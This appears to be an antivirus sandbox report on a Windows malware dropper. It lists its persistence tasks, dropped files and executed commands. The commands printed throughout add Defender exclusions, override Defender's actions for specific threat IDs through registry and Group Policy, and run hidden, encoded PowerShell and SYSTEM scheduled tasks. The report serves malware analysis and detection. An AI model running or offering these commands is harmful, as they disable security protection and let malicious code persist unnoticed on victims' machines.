Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- %WINDIR%\tasks\bisidnxxytesjezxld.job
- <SYSTEM32>\tasks\bisidnxxytesjezxld
- <SYSTEM32>\tasks\gtyogciyt
Modifies file system
Creates the following files
- %TEMP%\7zsfa45.tmp\__data__\config.txt
- %TEMP%\7zsfa45.tmp\install.exe
- %TEMP%\7zs3523.tmp\install.exe
- %TEMP%\dxdwptthipwiaenor\cvqcchqxxkaiegp\ymdxrtv.exe
- %ALLUSERSPROFILE%\microsoft\crypto\rsa\s-1-5-18\d42cc0c3858a58db2db37658219e6400_0cb67e2f-dc95-45ca-8fb8-69bde8e3f814
- <SYSTEM32>\grouppolicy\machine\registry.pol
- <SYSTEM32>\grouppolicy\gpt.ini
Deletes the following files
- <SYSTEM32>\tasks\gtyogciyt
Miscellaneous
Creates and executes the following
- '%TEMP%\7zsfa45.tmp\install.exe'
- '%TEMP%\7zs3523.tmp\install.exe' /ZwEvdidFRJ "385131" /S
- '%TEMP%\dxdwptthipwiaenor\cvqcchqxxkaiegp\ymdxrtv.exe' W7 /rURddidjTd 385131 /S
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /C forfiles /p <SYSTEM32> /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p <SYS...
- '<SYSTEM32>\gpupdate.exe' /force
- '%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "gTyogCiyt"
- '%WINDIR%\syswow64\wbem\wmic.exe' /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
- '%WINDIR%\syswow64\gpupdate.exe' /force
- '%WINDIR%\syswow64\forfiles.exe' /p <SYSTEM32> /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True"
- '%WINDIR%\syswow64\schtasks.exe' /CREATE /TN "gTyogCiyt" /SC once /ST 06:36:07 /F /RU "user" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZ...
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
- '%WINDIR%\syswow64\cmd.exe' powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
- '<SYSTEM32>\gpscript.exe' /RefreshSystemParam
- '%WINDIR%\syswow64\cmd.exe' /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\EfDQwjblbGMYTvUW" /t REG_DWORD /d 0 /reg:32
- '<SYSTEM32>\svchost.exe' -k secsvcs
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\EfDQwjblbGMYTvUW" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\cmd.exe' /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\EfDQwjblbGMYTvUW" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\EfDQwjblbGMYTvUW" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\cmd.exe' /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\EfDQwjblbGMYTvUW" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\schtasks.exe' /run /I /tn "gTyogCiyt"
- '%WINDIR%\syswow64\wbem\wmic.exe' /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\EfDQwjblbGMYTvUW" /t REG_DWORD /d 0 /reg:32
- '<SYSTEM32>\taskeng.exe' {6399664E-69D0-44ED-8348-16B03612314D} S-1-5-21-3691498038-2086406363-2140527554-1000:utbiedbxb\user:Interactive:[1]
- '%WINDIR%\syswow64\forfiles.exe' /p <SYSTEM32> /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
- '%WINDIR%\syswow64\forfiles.exe' /p <SYSTEM32> /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
- '%WINDIR%\syswow64\cmd.exe' reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
- '%WINDIR%\syswow64\forfiles.exe' /p <SYSTEM32> /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
- '%WINDIR%\syswow64\cmd.exe' reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
- '%WINDIR%\syswow64\forfiles.exe' /p <SYSTEM32> /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
- '%WINDIR%\syswow64\cmd.exe' /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\EfDQwjblbGMYTvUW" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\schtasks.exe' /CREATE /TN "bISIDNXXYteSJEZXLD" /SC once /ST 10:23:00 /RU "SYSTEM" /TR "\"%TEMP%\DXDwPtThiPwiAENoR\cVQCCHQxXKaIEGP\ymDxRTV.exe\" W7 /rURddidjTd 385131 /S" /V1 /F
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
- '%WINDIR%\syswow64\forfiles.exe' /p <SYSTEM32> /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
- '%WINDIR%\syswow64\cmd.exe' powershell start-process -WindowStyle Hidden gpupdate.exe /force
- '%WINDIR%\syswow64\forfiles.exe' /p <SYSTEM32> /m waitfor.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' start-process -WindowStyle Hidden gpupdate.exe /force
- '%WINDIR%\syswow64\cmd.exe' powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
- '%WINDIR%\syswow64\cmd.exe' reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
- '%WINDIR%\syswow64\cmd.exe' reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
- '%WINDIR%\syswow64\cmd.exe' /C forfiles /p <SYSTEM32> /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p <SYS...' (with hidden window)
- '%WINDIR%\syswow64\gpupdate.exe' /force' (with hidden window)
- '<SYSTEM32>\gpupdate.exe' /force' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==' (with hidden window)
- '%TEMP%\dxdwptthipwiaenor\cvqcchqxxkaiegp\ymdxrtv.exe' W7 /rURddidjTd 385131 /S' (with hidden window)
